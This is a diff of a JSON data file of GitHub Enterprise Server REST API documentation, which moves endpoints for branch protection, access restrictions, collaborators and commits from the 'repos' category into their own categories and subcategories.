     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>When authenticated with admin or owner permissions to the repository, you can use this endpoint to require signed commits on a branch. You must enable branch protection to require signed commits.</p>",
@@ -38614,10 +38610,10 @@
       ]
     },
     "slug": "delete-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -38698,10 +38694,10 @@
       "subcategory": "branches"
     },
     "slug": "get-status-checks-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -38823,10 +38819,10 @@
       "subcategory": "branches"
     },
     "slug": "update-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating required status checks requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -38937,10 +38933,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39016,10 +39012,10 @@
       "subcategory": "branches"
     },
     "slug": "get-all-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39145,10 +39141,10 @@
       "subcategory": "branches"
     },
     "slug": "add-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39298,10 +39294,10 @@
       "subcategory": "branches"
     },
     "slug": "set-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39445,10 +39441,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -39549,10 +39545,10 @@
       "subcategory": "branches"
     },
     "slug": "get-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists who has access to this protected branch.</p>\n<p><strong>Note</strong>: Users, apps, and teams <code>restrictions</code> are only available for organization-owned repositories.</p>",
@@ -39634,10 +39630,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -39713,10 +39709,10 @@
       "subcategory": "branches"
     },
     "slug": "get-apps-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the GitHub Apps that have push access to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>",
@@ -39841,10 +39837,10 @@
       "subcategory": "branches"
     },
     "slug": "add-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified apps push access for this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -39983,10 +39979,10 @@
       "subcategory": "branches"
     },
     "slug": "set-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of apps that have push access to this branch. This removes all apps that previously had push access and grants push access to the new list of apps. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40124,10 +40120,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of an app to push to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40223,10 +40219,10 @@
       "subcategory": "branches"
     },
     "slug": "get-teams-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the teams who have push access to this branch. The list includes child teams.</p>",
@@ -40352,10 +40348,10 @@
       "subcategory": "branches"
     },
     "slug": "add-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified teams push access for this branch. You can also give push access to child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40495,10 +40491,10 @@
       "subcategory": "branches"
     },
     "slug": "set-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of teams that have push access to this branch. This removes all teams that previously had push access and grants push access to the new list of teams. Team restrictions include child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40637,10 +40633,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a team to push to this branch. You can also remove push access for child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Teams that should no longer have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -40736,10 +40732,10 @@
       "subcategory": "branches"
     },
     "slug": "get-users-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the people who have push access to this branch.</p>",
@@ -40864,10 +40860,10 @@
       "subcategory": "branches"
     },
     "slug": "add-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified people push access for this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41006,10 +41002,10 @@
       "subcategory": "branches"
     },
     "slug": "set-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of people that have push access to this branch. This removes all people that previously had push access and grants push access to the new list of people.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41147,10 +41143,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a user to push to this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames of the people who should no longer have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41273,10 +41269,8 @@
       "subcategory": "branches"
     },
     "slug": "rename-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Renames a branch in a repository.</p>\n<p><strong>Note:</strong> Although the API responds immediately, the branch rename process might take some extra time to complete in the background. You won't be able to push to the old branch name while the rename process is in progress. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.1/github/administering-a-repository/renaming-a-branch\">Renaming a branch</a>\".</p>\n<p>The permissions required to use this endpoint depends on whether you are renaming the default branch.</p>\n<p>To rename a non-default branch:</p>\n<ul>\n<li>Users must have push access.</li>\n<li>GitHub Apps must have the <code>contents:write</code> repository permission.</li>\n</ul>\n<p>To rename the default branch:</p>\n<ul>\n<li>Users must have admin or owner permissions.</li>\n<li>GitHub Apps must have the <code>administration:write</code> repository permission.</li>\n</ul>",
@@ -47535,10 +47529,8 @@
       "subcategory": "collaborators"
     },
     "slug": "list-repository-collaborators",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>For organization-owned repositories, the list of collaborators includes outside collaborators, organization members that are direct collaborators, organization members with access through team memberships, organization members with access through default organization permissions, and organization owners.</p>\n<p>Team members will include the members of child teams.</p>\n<p>You must have push access to the repository in order to list collaborators.</p>",
@@ -47618,10 +47610,8 @@
       "subcategory": "collaborators"
     },
     "slug": "check-if-a-user-is-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "responses": [
       {
@@ -47739,10 +47729,8 @@
       "subcategory": "collaborators"
     },
     "slug": "add-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.1/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>\n<p>For more information on permission levels, see \"<a href=\"https://help.github.com/en/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization#permission-levels-for-repositories-owned-by-an-organization\">Repository permission levels for an organization</a>\". There are restrictions on which permissions can be granted to organization members when an organization base role is in place. In this case, the permission being given must be equal to or higher than the org base permission. Otherwise, the request will fail with:</p>\n<pre><code>Cannot assign {member} permission of {role name}\n</code></pre>\n<p>Note that, if you choose not to pass any parameters, you'll need to set <code>Content-Length</code> to zero when calling out to this endpoint. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.1/rest/overview/resources-in-the-rest-api#http-verbs\">HTTP verbs</a>.\"</p>\n<p>The invitee will receive a notification that they have been invited to the repository, which they must accept or decline. They may do this via the notifications page, the email they receive, or by using the <a href=\"https://docs.github.com/enterprise-server@3.1/rest/reference/repos#invitations\">repository invitations API endpoints</a>.</p>\n<p><strong>Rate limits</strong></p>\n<p>You are limited to sending 50 invitations to a repository per 24 hour period. Note there is no limit if you are inviting organization members to an organization repository.</p>",
@@ -47860,10 +47848,8 @@
       "subcategory": "collaborators"
     },
     "slug": "remove-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -47937,10 +47923,8 @@
       "subcategory": "collaborators"
     },
     "slug": "get-repository-permissions-for-a-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Checks the repository permission of a collaborator. The possible repository permissions are <code>admin</code>, <code>write</code>, <code>read</code>, and <code>none</code>.</p>",
@@ -48038,8 +48022,8 @@
       ]
     },
     "slug": "list-commit-comments-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -48124,8 +48108,8 @@
       ]
     },
     "slug": "get-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -48235,8 +48219,8 @@
       "subcategory": "comments"
     },
     "slug": "update-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -48330,8 +48314,8 @@
       "subcategory": "comments"
     },
     "slug": "delete-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -48851,10 +48835,8 @@
       "subcategory": "commits"
     },
     "slug": "list-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -48958,10 +48940,8 @@
       ]
     },
     "slug": "list-branches-for-head-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Returns all branches where the given commit SHA is the HEAD, or latest commit for the branch.</p>",
@@ -49070,8 +49050,8 @@
       ]
     },
     "slug": "list-commit-comments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -49208,8 +49188,8 @@
       "subcategory": "comments"
     },
     "slug": "create-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -49363,10 +49343,8 @@
       ]
     },
     "slug": "list-pull-requests-associated-with-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Lists the merged pull request that introduced the commit to the repository. If the commit is not present in the default branch, additionally returns open pull requests associated with the commit. The results may include open and closed pull requests. Additional preview headers may be required to see certain details for associated pull requests, such as whether a pull request is in a draft state. For more information about previews that might affect this endpoint, see the <a href=\"https://docs.github.com/enterprise-server@3.1/rest/reference/pulls#list-pull-requests\">List pull requests</a> endpoint.</p>",
@@ -49463,10 +49441,8 @@
       "subcategory": "commits"
     },
     "slug": "get-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
